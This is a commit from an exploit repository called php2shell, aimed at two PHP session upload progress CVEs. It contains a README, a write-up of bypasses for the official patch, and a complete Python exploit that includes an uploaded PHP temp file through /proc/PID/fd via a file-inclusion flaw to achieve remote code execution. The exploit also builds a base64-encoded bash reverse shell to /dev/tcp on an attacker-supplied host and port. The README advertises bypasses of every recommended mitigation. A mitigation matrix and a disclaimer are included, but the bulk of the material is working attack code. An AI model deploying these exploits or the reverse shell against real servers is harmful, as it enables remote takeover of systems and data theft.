PHP session upload progress RCE exploits (CVE-2026-109618, CVE-2026-109619)
Full RCE exploit chain for two critical PHP vulnerabilities in the multipart parser and session upload progress handler, plus three bypass exploits that defeat the official security patch (PHP 8.4.27) and all recommended mitigations. Core exploits: - CVE-2026-109618: OOM in multipart parser → session persistence → LFI → RCE - CVE-2026-109619: Session poisoning via upload progress (direct + race) → RCE - WordPress-targeted wrapper with LFI auto-detection Patch bypass exploits (confirmed RCE on PHP 8.4.27): - Race condition: TOCTOU inherent to upload progress feature design - RLIMIT_AS: mmap() failure bypasses the patched OOM handler - /proc/PID/fd: temp file inclusion bypasses ALL mitigations
This commit is contained in:
+32
@@ -0,0 +1,32 @@
|
|||||||
|
# PHP builds
|
||||||
|
php-build/
|
||||||
|
php83/
|
||||||
|
php8427/
|
||||||
|
|
||||||
|
# WordPress core
|
||||||
|
wordpress/*.php
|
||||||
|
wordpress/wp-admin/
|
||||||
|
wordpress/wp-includes/
|
||||||
|
wordpress/wp-content/themes/
|
||||||
|
wordpress/wp-content/uploads/
|
||||||
|
wordpress/wp-content/plugins/akismet/
|
||||||
|
wordpress/wp-content/plugins/hello.php
|
||||||
|
wordpress/wp-content/index.php
|
||||||
|
wordpress/wp-content/plugins/index.php
|
||||||
|
wordpress/license.txt
|
||||||
|
wordpress/readme.html
|
||||||
|
wordpress/wp-config.php
|
||||||
|
wordpress/wp-config-sample.php
|
||||||
|
|
||||||
|
# Lab configs (generate your own)
|
||||||
|
*.conf
|
||||||
|
!.gitignore
|
||||||
|
|
||||||
|
# Docker
|
||||||
|
docker-compose.yml
|
||||||
|
|
||||||
|
# Runtime
|
||||||
|
*.pid
|
||||||
|
*.log
|
||||||
|
*.sock
|
||||||
|
__pycache__/
|
||||||
@@ -0,0 +1,121 @@
|
|||||||
|
# php2shell — CVE-2026-109618 & CVE-2026-109619
|
||||||
|
|
||||||
|
Remote Code Execution exploits for two critical PHP vulnerabilities in the
|
||||||
|
multipart parser and session upload progress handler. Includes three bypass
|
||||||
|
exploits that defeat the official security patch and all recommended mitigations.
|
||||||
|
|
||||||
|
**No external dependencies** — pure Python 3 stdlib.
|
||||||
|
|
||||||
|
## Vulnerabilities
|
||||||
|
|
||||||
|
**CVE-2026-109618** — OOM in the multipart parser (`rfc1867.c`) triggers
|
||||||
|
`zend_bailout()`, which longjmps past `MULTIPART_EVENT_END` and skips session
|
||||||
|
cleanup. A session file poisoned via `PHP_SESSION_UPLOAD_PROGRESS` persists on
|
||||||
|
disk with attacker-controlled PHP code. LFI includes it for RCE.
|
||||||
|
|
||||||
|
**CVE-2026-109619** — `PHP_SESSION_UPLOAD_PROGRESS` writes attacker-controlled
|
||||||
|
data verbatim into the session file. With `cleanup=0`, or via race condition
|
||||||
|
against `cleanup=1`, the poisoned session file is includable via LFI for RCE.
|
||||||
|
|
||||||
|
**Affected:** PHP 8.0–8.4 (all platforms). Patched in 8.4.27, 8.3.36, 8.2.35.
|
||||||
|
|
||||||
|
## Exploits
|
||||||
|
|
||||||
|
| Script | Target | Description |
|
||||||
|
|--------|--------|-------------|
|
||||||
|
| `cve-2026-109618/exploit.py` | Unpatched PHP | OOM → session persistence → LFI → RCE |
|
||||||
|
| `cve-2026-109619/exploit.py` | Unpatched PHP | Session poisoning (direct + race) → LFI → RCE |
|
||||||
|
| `wordpress-exploit/exploit_wp.py` | WordPress | Auto-detecting wrapper for both CVEs |
|
||||||
|
| `bypass/race_bypass_patched.py` | Patched PHP | TOCTOU race — session data on disk during upload |
|
||||||
|
| `bypass/rlimit_bypass_patched.py` | Patched PHP | mmap() failure via RLIMIT_AS bypasses the patch |
|
||||||
|
| `bypass/procfd_bypass_hardened.py` | Fully hardened | /proc/PID/fd temp file — **bypasses all mitigations** |
|
||||||
|
| `bypass/waf_bypass_test.py` | WAF rules | Tests Content-Type evasion against WAF rules |
|
||||||
|
|
||||||
|
## Prerequisites
|
||||||
|
|
||||||
|
- Python 3.8+
|
||||||
|
- Target running PHP-FPM with `session.upload_progress.enabled=1` (default)
|
||||||
|
- A Local File Inclusion vector in the target application
|
||||||
|
- Known or guessable `session.save_path` (common: `/tmp`, `/var/lib/php/sessions`)
|
||||||
|
|
||||||
|
## Usage
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# CVE-2026-109618: OOM exploit
|
||||||
|
python3 cve-2026-109618/exploit.py -t http://target/app.php --cmd 'id'
|
||||||
|
python3 cve-2026-109618/exploit.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444
|
||||||
|
python3 cve-2026-109618/exploit.py -t http://target/app.php --trigger-only
|
||||||
|
# Use --no-chunked when nginx has fastcgi_request_buffering off
|
||||||
|
# Use --fields / --field-size to tune OOM threshold for target memory_limit
|
||||||
|
|
||||||
|
# CVE-2026-109619: Session poisoning (direct or race)
|
||||||
|
python3 cve-2026-109619/exploit.py -t http://target/app.php --cmd 'id' --lfi-param page
|
||||||
|
python3 cve-2026-109619/exploit.py -t http://target/app.php --cmd 'id' --lfi-param page --race
|
||||||
|
|
||||||
|
# WordPress (auto-detects LFI parameter)
|
||||||
|
python3 wordpress-exploit/exploit_wp.py -t http://target/ --cmd 'id'
|
||||||
|
python3 wordpress-exploit/exploit_wp.py -t http://target/ --mode race --cmd 'id'
|
||||||
|
|
||||||
|
# Patch bypass: race condition on PHP 8.4.27+
|
||||||
|
python3 bypass/race_bypass_patched.py -t http://target/app.php --cmd 'id'
|
||||||
|
|
||||||
|
# Patch bypass: RLIMIT_AS mmap failure on PHP 8.4.27+ (memory_limit=-1 + OS limits)
|
||||||
|
python3 bypass/rlimit_bypass_patched.py -t http://target/app.php --cmd 'id'
|
||||||
|
|
||||||
|
# Hardening bypass: /proc/fd — defeats ALL mitigations including upload_progress=0
|
||||||
|
python3 bypass/procfd_bypass_hardened.py -t http://target/app.php --cmd 'id'
|
||||||
|
python3 bypass/procfd_bypass_hardened.py -t http://target/app.php --cmd 'id' --pid 12345
|
||||||
|
```
|
||||||
|
|
||||||
|
All exploits support `--cmd`, `--lhost`/`--lport` (reverse shell), and `--trigger-only`.
|
||||||
|
Use `--session-path` and `--lfi-param` to override auto-detection.
|
||||||
|
|
||||||
|
## Patch Bypass Findings
|
||||||
|
|
||||||
|
The PHP 8.4.27 patch has three confirmed bypass paths to RCE:
|
||||||
|
|
||||||
|
**1. Race condition (TOCTOU)** — Session upload progress data exists on disk
|
||||||
|
during file upload. Cleanup only runs at `MULTIPART_EVENT_END`. A concurrent LFI
|
||||||
|
request includes the file during the upload window. Inherent to the feature design.
|
||||||
|
|
||||||
|
**2. RLIMIT_AS / mmap() failure** — The patch intercepts OOM from PHP's
|
||||||
|
`memory_limit` but not from OS-level limits. With `memory_limit=-1` and
|
||||||
|
RLIMIT_AS or cgroup memory limits, `mmap()` fails through an unpatched code
|
||||||
|
path. Worker exits code 1 (not the patched code 70), session persists.
|
||||||
|
|
||||||
|
**3. /proc/PID/fd temp file** — During multipart upload, PHP's temp file is
|
||||||
|
includable via `/proc/<pid>/fd/<N>` from another FPM worker. No session
|
||||||
|
poisoning needed. **Bypasses every recommended mitigation.**
|
||||||
|
|
||||||
|
### Mitigation Matrix
|
||||||
|
|
||||||
|
| Mitigation | Race | RLIMIT | /proc/fd |
|
||||||
|
|---|---|---|---|
|
||||||
|
| Patch alone | FAIL | FAIL | FAIL |
|
||||||
|
| + `upload_progress=0` | OK | OK | **FAIL** |
|
||||||
|
| + `hidepid=2` on /proc | FAIL | FAIL | OK |
|
||||||
|
| + `upload_progress=0` + `hidepid=2` | OK | OK | OK |
|
||||||
|
| Fix the LFI | OK | OK | OK |
|
||||||
|
|
||||||
|
### Recommendations
|
||||||
|
|
||||||
|
1. Set `session.upload_progress.enabled=0` in php.ini
|
||||||
|
2. Mount /proc with `hidepid=2` (or `hidepid=invisible`)
|
||||||
|
3. Fix any LFI vulnerabilities in applications
|
||||||
|
4. Set `open_basedir` to restrict filesystem access
|
||||||
|
|
||||||
|
## WordPress
|
||||||
|
|
||||||
|
The WordPress exploit requires a plugin that calls `session_start()` and has an
|
||||||
|
LFI vector. Two demo plugins are included:
|
||||||
|
|
||||||
|
- `wordpress-exploit/vuln-plugin.php` — Minimal mu-plugin with session + LFI
|
||||||
|
- `wordpress/wp-content/plugins/developer-toolkit/` — Realistic plugin with
|
||||||
|
template preview, log viewer, and session-based features
|
||||||
|
|
||||||
|
Install as mu-plugin: `cp vuln-plugin.php /path/to/wordpress/wp-content/mu-plugins/`
|
||||||
|
|
||||||
|
## Disclaimer
|
||||||
|
|
||||||
|
For authorized security testing and research only. Obtain proper authorization
|
||||||
|
before testing against any system you do not own.
|
||||||
@@ -0,0 +1,101 @@
|
|||||||
|
# PHP 8.4.27 Patch Bypass Findings
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
The PHP security patch released 2026-10-21 (PHP 8.4.27, 8.3.36, 8.2.35, 8.5.12)
|
||||||
|
for CVE-2026-109618 and CVE-2026-109619 has **three confirmed bypass paths** that
|
||||||
|
achieve Remote Code Execution on fully patched systems.
|
||||||
|
|
||||||
|
The advisory's recommended mitigation `session.upload_progress.enabled=0` blocks
|
||||||
|
two of the three bypasses but is itself defeated by the third.
|
||||||
|
|
||||||
|
## Bypass #1: Race Condition (TOCTOU)
|
||||||
|
|
||||||
|
**File:** `race_bypass_patched.py`
|
||||||
|
**Confirmed RCE:** Yes, first attempt
|
||||||
|
**Patches bypassed:** PHP 8.4.27 OOM fix
|
||||||
|
**Mitigations bypassed:** session.upload_progress.cleanup=1
|
||||||
|
|
||||||
|
The session upload progress feature writes attacker-controlled data to the session
|
||||||
|
file on disk *during* the multipart upload. Cleanup only runs at `MULTIPART_EVENT_END`.
|
||||||
|
A concurrent LFI request can race to include the session file while the upload is
|
||||||
|
still in progress.
|
||||||
|
|
||||||
|
This is a TOCTOU (Time-of-Check-Time-of-Use) issue inherent to the feature's
|
||||||
|
design — the data must exist on disk for the feature to work, creating a window
|
||||||
|
that cannot be eliminated without removing the feature.
|
||||||
|
|
||||||
|
**Blocked by:** `session.upload_progress.enabled=0`
|
||||||
|
|
||||||
|
## Bypass #2: RLIMIT_AS / mmap() Failure
|
||||||
|
|
||||||
|
**File:** `rlimit_bypass_patched.py`
|
||||||
|
**Confirmed RCE:** Yes
|
||||||
|
**Patches bypassed:** PHP 8.4.27 OOM fix (different code path)
|
||||||
|
**Mitigations bypassed:** Standard memory_limit-based OOM handling
|
||||||
|
|
||||||
|
The patch intercepts OOM from PHP's `memory_limit` (via zend_mm allocator).
|
||||||
|
When `memory_limit=-1` and the OS enforces address space limits via `RLIMIT_AS`
|
||||||
|
(or cgroup memory.max), `mmap()` fails through a **different code path** that
|
||||||
|
the patch does not cover.
|
||||||
|
|
||||||
|
- Worker exits with code **1** (not the patched exit code **70**)
|
||||||
|
- Session file **persists** on disk with attacker-controlled PHP code
|
||||||
|
- New worker spawns → LFI includes poisoned session → RCE
|
||||||
|
|
||||||
|
Relevant in production:
|
||||||
|
- Docker/k8s containers with cgroup memory limits
|
||||||
|
- Shared hosting with per-tenant RLIMIT_AS
|
||||||
|
- Admins using `memory_limit=-1` trusting OS-level limits
|
||||||
|
|
||||||
|
**Blocked by:** `session.upload_progress.enabled=0`
|
||||||
|
|
||||||
|
## Bypass #3: /proc/PID/fd Temp File Inclusion
|
||||||
|
|
||||||
|
**File:** `procfd_bypass_hardened.py`
|
||||||
|
**Confirmed RCE:** Yes, first attempt
|
||||||
|
**Patches bypassed:** ALL patches
|
||||||
|
**Mitigations bypassed:** ALL mitigations including `upload_progress=0`
|
||||||
|
|
||||||
|
During a multipart file upload, PHP creates a temporary file with attacker-
|
||||||
|
controlled contents. This file is visible via `/proc/<pid>/fd/<N>` to any
|
||||||
|
process that can read procfs. A concurrent LFI request from a different FPM
|
||||||
|
worker can include this file directly.
|
||||||
|
|
||||||
|
This attack does NOT use session poisoning at all — it bypasses every
|
||||||
|
session-related mitigation.
|
||||||
|
|
||||||
|
**Blocked by:**
|
||||||
|
- Fixing the LFI vulnerability
|
||||||
|
- `hidepid=2` on /proc mount (hides other processes' FDs)
|
||||||
|
- `open_basedir` restricting /proc access
|
||||||
|
- Disabling file uploads entirely (impractical)
|
||||||
|
|
||||||
|
## Mitigation Effectiveness Matrix
|
||||||
|
|
||||||
|
| Mitigation | Race | RLIMIT | /proc/fd |
|
||||||
|
|-------------------------------|------|--------|----------|
|
||||||
|
| PHP 8.4.27 patch alone | FAIL | FAIL | FAIL |
|
||||||
|
| + upload_progress=0 | OK | OK | FAIL |
|
||||||
|
| + hidepid=2 on /proc | FAIL | FAIL | OK |
|
||||||
|
| + upload_progress=0 + hidepid | OK | OK | OK |
|
||||||
|
| Fix the LFI | OK | OK | OK |
|
||||||
|
|
||||||
|
## Tested Vectors That Did NOT Bypass the Patch
|
||||||
|
|
||||||
|
- **Multipart part header flood:** OOM triggered but the patch handles it
|
||||||
|
correctly (exit code 70, session file cleaned up)
|
||||||
|
- **WAF bypass via PUT/PATCH:** Passes POST-only WAF rules but PHP's
|
||||||
|
`session.upload_progress` only fires on POST requests
|
||||||
|
- **Content-Type comma tricks:** Pass WAF matching but PHP doesn't parse
|
||||||
|
as multipart/form-data
|
||||||
|
- **Access log poisoning:** Works conceptually but fragile (previous log
|
||||||
|
entries may cause PHP parse errors)
|
||||||
|
|
||||||
|
## Recommendations
|
||||||
|
|
||||||
|
1. **Immediate:** Set `session.upload_progress.enabled=0` in php.ini
|
||||||
|
2. **Immediate:** Mount /proc with `hidepid=2` (or `hidepid=invisible` on newer kernels)
|
||||||
|
3. **Critical:** Fix any Local File Inclusion vulnerabilities in applications
|
||||||
|
4. **Defense in depth:** Set `open_basedir` to restrict filesystem access
|
||||||
|
5. **Do NOT rely on the patch alone** — it leaves two bypass paths open
|
||||||
Executable
+363
@@ -0,0 +1,363 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
Hardening Bypass: RCE via /proc/PID/fd temp file inclusion
|
||||||
|
|
||||||
|
This exploit bypasses ALL recommended mitigations for CVE-2026-109618/109619,
|
||||||
|
including the security patch AND session.upload_progress.enabled=0.
|
||||||
|
|
||||||
|
It does NOT use session poisoning at all. Instead, it exploits the fact that
|
||||||
|
during a multipart file upload, PHP creates a temporary file whose contents
|
||||||
|
are attacker-controlled. This file is visible via /proc/<pid>/fd/<N> to any
|
||||||
|
process that can read procfs (i.e., any PHP process on the same host).
|
||||||
|
|
||||||
|
Attack flow:
|
||||||
|
1. Send a multipart POST with a file upload containing PHP code
|
||||||
|
2. While the upload is in progress (slow drip), the temp file exists as an
|
||||||
|
open file descriptor on the receiving FPM worker
|
||||||
|
3. Determine the worker PID (leaked via phpinfo(), getmypid(), error messages,
|
||||||
|
or brute-forced from a narrow PID range)
|
||||||
|
4. From a DIFFERENT FPM worker, include /proc/<PID>/fd/<N> via LFI
|
||||||
|
5. PHP interprets the temp file contents → RCE
|
||||||
|
|
||||||
|
Why this bypasses everything:
|
||||||
|
- No session poisoning → session.upload_progress.enabled=0 is irrelevant
|
||||||
|
- No OOM needed → the PHP 8.4.27 OOM patch is irrelevant
|
||||||
|
- No session file persistence → session.upload_progress.cleanup=1 is irrelevant
|
||||||
|
- Standard multipart upload → WAF rules need to block ALL file uploads
|
||||||
|
|
||||||
|
Limitations:
|
||||||
|
- Requires /proc mounted and readable (standard on Linux, not on BSD/Mac)
|
||||||
|
- Requires knowing or brute-forcing the target worker's PID
|
||||||
|
- Requires multiple FPM workers (upload worker != LFI worker)
|
||||||
|
- FD number is typically 4-7 but may vary
|
||||||
|
|
||||||
|
Real-world PID discovery:
|
||||||
|
- phpinfo() page (common on staging/dev servers)
|
||||||
|
- Application leaking PID in response (getmypid())
|
||||||
|
- PHP error messages may include PID
|
||||||
|
- /proc/sys/kernel/pid_max is usually 32768 → brute-forceable
|
||||||
|
- Container PID namespaces have small PID ranges (often 1-100)
|
||||||
|
|
||||||
|
Tested: PHP 8.4.27 (patched + hardened, upload_progress=0)
|
||||||
|
|
||||||
|
Usage:
|
||||||
|
python3 procfd_bypass_hardened.py -t http://target/app.php --cmd 'id'
|
||||||
|
python3 procfd_bypass_hardened.py -t http://target/app.php --cmd 'id' --pid 12345
|
||||||
|
python3 procfd_bypass_hardened.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444
|
||||||
|
"""
|
||||||
|
|
||||||
|
import argparse
|
||||||
|
import base64
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
import socket
|
||||||
|
import sys
|
||||||
|
import threading
|
||||||
|
import time
|
||||||
|
from urllib.parse import urlparse
|
||||||
|
|
||||||
|
|
||||||
|
def tcp_connect(host, port, tls, timeout=60):
|
||||||
|
sock = socket.create_connection((host, port), timeout=timeout)
|
||||||
|
if tls:
|
||||||
|
import ssl
|
||||||
|
ctx = ssl.create_default_context()
|
||||||
|
ctx.check_hostname = False
|
||||||
|
ctx.verify_mode = ssl.CERT_NONE
|
||||||
|
sock = ctx.wrap_socket(sock, server_hostname=host)
|
||||||
|
return sock
|
||||||
|
|
||||||
|
|
||||||
|
def recv_all(sock, timeout=5):
|
||||||
|
resp = b""
|
||||||
|
sock.settimeout(timeout)
|
||||||
|
try:
|
||||||
|
while True:
|
||||||
|
d = sock.recv(8192)
|
||||||
|
if not d:
|
||||||
|
break
|
||||||
|
resp += d
|
||||||
|
except socket.timeout:
|
||||||
|
pass
|
||||||
|
return resp
|
||||||
|
|
||||||
|
|
||||||
|
def body_of(resp):
|
||||||
|
if b"\r\n\r\n" in resp:
|
||||||
|
return resp.split(b"\r\n\r\n", 1)[1]
|
||||||
|
return resp
|
||||||
|
|
||||||
|
|
||||||
|
def discover_pids(host, port, tls, path, count=20):
|
||||||
|
"""Discover FPM worker PIDs by making requests and parsing pid= from response."""
|
||||||
|
pids = set()
|
||||||
|
for _ in range(count):
|
||||||
|
try:
|
||||||
|
sock = tcp_connect(host, port, tls, timeout=10)
|
||||||
|
sock.sendall(
|
||||||
|
b"GET " + path.encode() + b" HTTP/1.1\r\n"
|
||||||
|
b"Host: " + host.encode() + b"\r\n"
|
||||||
|
b"Connection: close\r\n\r\n"
|
||||||
|
)
|
||||||
|
resp = recv_all(sock, timeout=3)
|
||||||
|
sock.close()
|
||||||
|
body = body_of(resp)
|
||||||
|
m = re.search(rb"pid=(\d+)", body)
|
||||||
|
if m:
|
||||||
|
pids.add(int(m.group(1)))
|
||||||
|
except Exception:
|
||||||
|
continue
|
||||||
|
return sorted(pids)
|
||||||
|
|
||||||
|
|
||||||
|
def slow_upload(host, port, tls, path, php_code, duration=15.0, started=None, done=None):
|
||||||
|
"""Send slow multipart upload to keep temp file FD open."""
|
||||||
|
bnd = b"----PROCFDRCE" + os.urandom(4).hex().encode()
|
||||||
|
|
||||||
|
head = (
|
||||||
|
b"--" + bnd + b"\r\n"
|
||||||
|
b'Content-Disposition: form-data; name="file"; filename="payload.php"\r\n'
|
||||||
|
b"Content-Type: application/octet-stream\r\n\r\n"
|
||||||
|
+ php_code + b"\n"
|
||||||
|
)
|
||||||
|
file_size = 4 * 1024 * 1024
|
||||||
|
tail = b"\r\n--" + bnd + b"--\r\n"
|
||||||
|
total = len(head) + file_size + len(tail)
|
||||||
|
|
||||||
|
try:
|
||||||
|
sock = tcp_connect(host, port, tls, timeout=int(duration) + 10)
|
||||||
|
sock.sendall(
|
||||||
|
b"POST " + path.encode() + b" HTTP/1.1\r\n"
|
||||||
|
b"Host: " + host.encode() + b"\r\n"
|
||||||
|
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
|
||||||
|
b"Content-Length: " + str(total).encode() + b"\r\n"
|
||||||
|
b"Connection: close\r\n\r\n"
|
||||||
|
+ head
|
||||||
|
)
|
||||||
|
if started:
|
||||||
|
started.set()
|
||||||
|
|
||||||
|
sent = 0
|
||||||
|
t0 = time.time()
|
||||||
|
while sent < file_size and (time.time() - t0) < duration:
|
||||||
|
if done and done.is_set():
|
||||||
|
break
|
||||||
|
sock.sendall(b"\x00" * 4096)
|
||||||
|
sent += 4096
|
||||||
|
time.sleep(0.04)
|
||||||
|
sock.sendall(tail)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
try:
|
||||||
|
recv_all(sock, timeout=2)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
try:
|
||||||
|
sock.close()
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
def lfi_probe(host, port, tls, path, lfi_param, proc_path):
|
||||||
|
"""Send LFI request targeting a /proc path."""
|
||||||
|
lfi_url = f"{path}?{lfi_param}={proc_path}"
|
||||||
|
try:
|
||||||
|
sock = tcp_connect(host, port, tls, timeout=10)
|
||||||
|
sock.sendall(
|
||||||
|
b"GET " + lfi_url.encode() + b" HTTP/1.1\r\n"
|
||||||
|
b"Host: " + host.encode() + b"\r\n"
|
||||||
|
b"Connection: close\r\n\r\n"
|
||||||
|
)
|
||||||
|
resp = recv_all(sock, timeout=5)
|
||||||
|
sock.close()
|
||||||
|
return body_of(resp)
|
||||||
|
except Exception:
|
||||||
|
return b""
|
||||||
|
|
||||||
|
|
||||||
|
def run(args):
|
||||||
|
p = urlparse(args.target)
|
||||||
|
tls = p.scheme == "https"
|
||||||
|
host = p.hostname or "127.0.0.1"
|
||||||
|
port = p.port or (443 if tls else 80)
|
||||||
|
path = p.path or "/"
|
||||||
|
|
||||||
|
if args.trigger_only:
|
||||||
|
php_code = b'<?php echo "CVE2026:TRIGGERED:".php_uname().":".posix_getuid(); ?>'
|
||||||
|
elif args.cmd:
|
||||||
|
cmd_b64 = base64.b64encode(args.cmd.encode()).decode()
|
||||||
|
php_code = f'<?php echo "CVE2026:";system(base64_decode("{cmd_b64}"));echo ":END"; ?>'.encode()
|
||||||
|
elif args.lhost and args.lport:
|
||||||
|
shell = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'"
|
||||||
|
cmd_b64 = base64.b64encode(shell.encode()).decode()
|
||||||
|
php_code = f'<?php system(base64_decode("{cmd_b64}")); ?>'.encode()
|
||||||
|
else:
|
||||||
|
print("[!] Specify --cmd, --lhost/--lport, or --trigger-only")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
print("=" * 65)
|
||||||
|
print(" HARDENING BYPASS: /proc/PID/fd Temp File RCE")
|
||||||
|
print(" Bypasses patch + upload_progress=0 + session cleanup")
|
||||||
|
print("=" * 65)
|
||||||
|
print(f" Target : {args.target}")
|
||||||
|
print(f" LFI param : {args.lfi_param}")
|
||||||
|
if args.cmd:
|
||||||
|
print(f" Command : {args.cmd}")
|
||||||
|
elif args.lhost:
|
||||||
|
print(f" Reverse sh : {args.lhost}:{args.lport}")
|
||||||
|
print()
|
||||||
|
|
||||||
|
# Discover worker PIDs
|
||||||
|
if args.pid:
|
||||||
|
pids = [args.pid]
|
||||||
|
print(f"[*] Using specified PID: {args.pid}")
|
||||||
|
else:
|
||||||
|
print("[*] Discovering FPM worker PIDs...")
|
||||||
|
pids = discover_pids(host, port, tls, path, count=30)
|
||||||
|
if not pids:
|
||||||
|
print("[!] Could not discover PIDs (target may not echo pid)")
|
||||||
|
print(" Try --pid <pid> or --pid-range <start>-<end>")
|
||||||
|
if args.pid_range:
|
||||||
|
start, end = map(int, args.pid_range.split("-"))
|
||||||
|
pids = list(range(start, end + 1))
|
||||||
|
print(f" Using PID range: {start}-{end}")
|
||||||
|
else:
|
||||||
|
sys.exit(1)
|
||||||
|
else:
|
||||||
|
print(f" Found PIDs: {pids}")
|
||||||
|
print()
|
||||||
|
|
||||||
|
fd_range = range(args.fd_start, args.fd_end + 1)
|
||||||
|
|
||||||
|
for attempt in range(args.attempts):
|
||||||
|
print(f"[*] Attempt {attempt+1}/{args.attempts}")
|
||||||
|
|
||||||
|
started = threading.Event()
|
||||||
|
done = threading.Event()
|
||||||
|
|
||||||
|
# Launch slow uploads on multiple threads to occupy workers
|
||||||
|
threads = []
|
||||||
|
for i in range(args.upload_threads):
|
||||||
|
t = threading.Thread(
|
||||||
|
target=slow_upload,
|
||||||
|
args=(host, port, tls, path, php_code, 15.0,
|
||||||
|
started if i == 0 else None, done),
|
||||||
|
daemon=True,
|
||||||
|
)
|
||||||
|
t.start()
|
||||||
|
threads.append(t)
|
||||||
|
|
||||||
|
started.wait(timeout=5)
|
||||||
|
time.sleep(0.5)
|
||||||
|
print(f" {args.upload_threads} slow uploads in progress")
|
||||||
|
|
||||||
|
hit = False
|
||||||
|
for probe_round in range(args.probes):
|
||||||
|
if hit:
|
||||||
|
break
|
||||||
|
for pid in pids:
|
||||||
|
if hit:
|
||||||
|
break
|
||||||
|
for fd in fd_range:
|
||||||
|
proc_path = f"/proc/{pid}/fd/{fd}"
|
||||||
|
rbody = lfi_probe(host, port, tls, path, args.lfi_param, proc_path)
|
||||||
|
|
||||||
|
if b"CVE2026:" in rbody:
|
||||||
|
text = rbody.decode(errors="replace")
|
||||||
|
if args.trigger_only:
|
||||||
|
m = re.search(r"CVE2026:TRIGGERED:(.+?)(?:\||$)", text)
|
||||||
|
print(f"\n[+] Code execution confirmed!")
|
||||||
|
if m:
|
||||||
|
print(f" {m.group(1)}")
|
||||||
|
elif args.cmd:
|
||||||
|
m = re.search(r"CVE2026:(.*?):END", text, re.DOTALL)
|
||||||
|
result = m.group(1).strip() if m else text[:500]
|
||||||
|
print()
|
||||||
|
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
|
||||||
|
print(result)
|
||||||
|
print("[+] ══════════════════════════════════════════")
|
||||||
|
else:
|
||||||
|
print(f"\n[+] Payload sent — check {args.lhost}:{args.lport}")
|
||||||
|
|
||||||
|
print()
|
||||||
|
print(f"[+] Via: {proc_path}")
|
||||||
|
print("[+] RCE achieved WITHOUT session poisoning!")
|
||||||
|
print("[+] Bypasses: security patch, upload_progress=0,")
|
||||||
|
print("[+] session cleanup, WAF session rules")
|
||||||
|
print("[+] Only mitigation: disable file uploads entirely,")
|
||||||
|
print("[+] mount /proc with hidepid=2, or fix the LFI")
|
||||||
|
hit = True
|
||||||
|
break
|
||||||
|
|
||||||
|
if not hit and probe_round < args.probes - 1:
|
||||||
|
time.sleep(0.01)
|
||||||
|
|
||||||
|
done.set()
|
||||||
|
for t in threads:
|
||||||
|
t.join(timeout=3)
|
||||||
|
|
||||||
|
if hit:
|
||||||
|
return
|
||||||
|
print(f" No hit — upload may have finished or wrong PID/FD range")
|
||||||
|
|
||||||
|
print()
|
||||||
|
print("[!] All attempts failed.")
|
||||||
|
print(" Try: --pid <known_pid> --fd-start 3 --fd-end 10")
|
||||||
|
print(" Or: --upload-threads 3 --probes 200")
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
ap = argparse.ArgumentParser(
|
||||||
|
description="Hardening Bypass: RCE via /proc/PID/fd temp file (Linux only)",
|
||||||
|
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||||
|
epilog="""
|
||||||
|
This exploit does NOT use session poisoning. It includes the PHP temp file
|
||||||
|
created during a multipart upload via /proc/<pid>/fd/<N>.
|
||||||
|
|
||||||
|
It bypasses ALL recommended mitigations:
|
||||||
|
- PHP 8.4.27 security patch
|
||||||
|
- session.upload_progress.enabled=0
|
||||||
|
- session.upload_progress.cleanup=1
|
||||||
|
- WAF rules blocking session-related headers
|
||||||
|
|
||||||
|
The only defenses are:
|
||||||
|
- Fix the LFI vulnerability
|
||||||
|
- Mount /proc with hidepid=2 (hides other processes' FDs)
|
||||||
|
- Disable file uploads entirely (not practical for most apps)
|
||||||
|
- Use open_basedir to restrict /proc access
|
||||||
|
|
||||||
|
Examples:
|
||||||
|
%(prog)s -t http://target/app.php --cmd 'id'
|
||||||
|
%(prog)s -t http://target/app.php --cmd 'id' --pid 12345
|
||||||
|
%(prog)s -t http://target/app.php --lhost 10.0.0.1 --lport 4444
|
||||||
|
%(prog)s -t http://target/app.php --trigger-only --pid-range 1-100
|
||||||
|
""")
|
||||||
|
ap.add_argument("-t", "--target", required=True, help="Target URL with LFI")
|
||||||
|
ap.add_argument("--cmd", help="Command to execute")
|
||||||
|
ap.add_argument("--lhost", help="Reverse shell listener IP")
|
||||||
|
ap.add_argument("--lport", type=int, help="Reverse shell listener port")
|
||||||
|
ap.add_argument("--trigger-only", action="store_true",
|
||||||
|
help="Confirm vulnerability only")
|
||||||
|
ap.add_argument("--lfi-param", default="page",
|
||||||
|
help="LFI query parameter (default: page)")
|
||||||
|
ap.add_argument("--pid", type=int,
|
||||||
|
help="Known target worker PID")
|
||||||
|
ap.add_argument("--pid-range",
|
||||||
|
help="PID range to brute-force, e.g. 1-100")
|
||||||
|
ap.add_argument("--fd-start", type=int, default=3,
|
||||||
|
help="First FD to probe (default: 3)")
|
||||||
|
ap.add_argument("--fd-end", type=int, default=10,
|
||||||
|
help="Last FD to probe (default: 10)")
|
||||||
|
ap.add_argument("--upload-threads", type=int, default=2,
|
||||||
|
help="Concurrent slow uploads (default: 2)")
|
||||||
|
ap.add_argument("--probes", type=int, default=100,
|
||||||
|
help="LFI probe rounds per attempt (default: 100)")
|
||||||
|
ap.add_argument("--attempts", type=int, default=5,
|
||||||
|
help="Number of attempts (default: 5)")
|
||||||
|
args = ap.parse_args()
|
||||||
|
run(args)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
Executable
+265
@@ -0,0 +1,265 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
Patch Bypass: RCE via session upload progress race condition on PHP 8.4.27+
|
||||||
|
|
||||||
|
The PHP security patch released 2026-10-21 (PHP 8.4.27, 8.3.36, 8.2.35, 8.5.12)
|
||||||
|
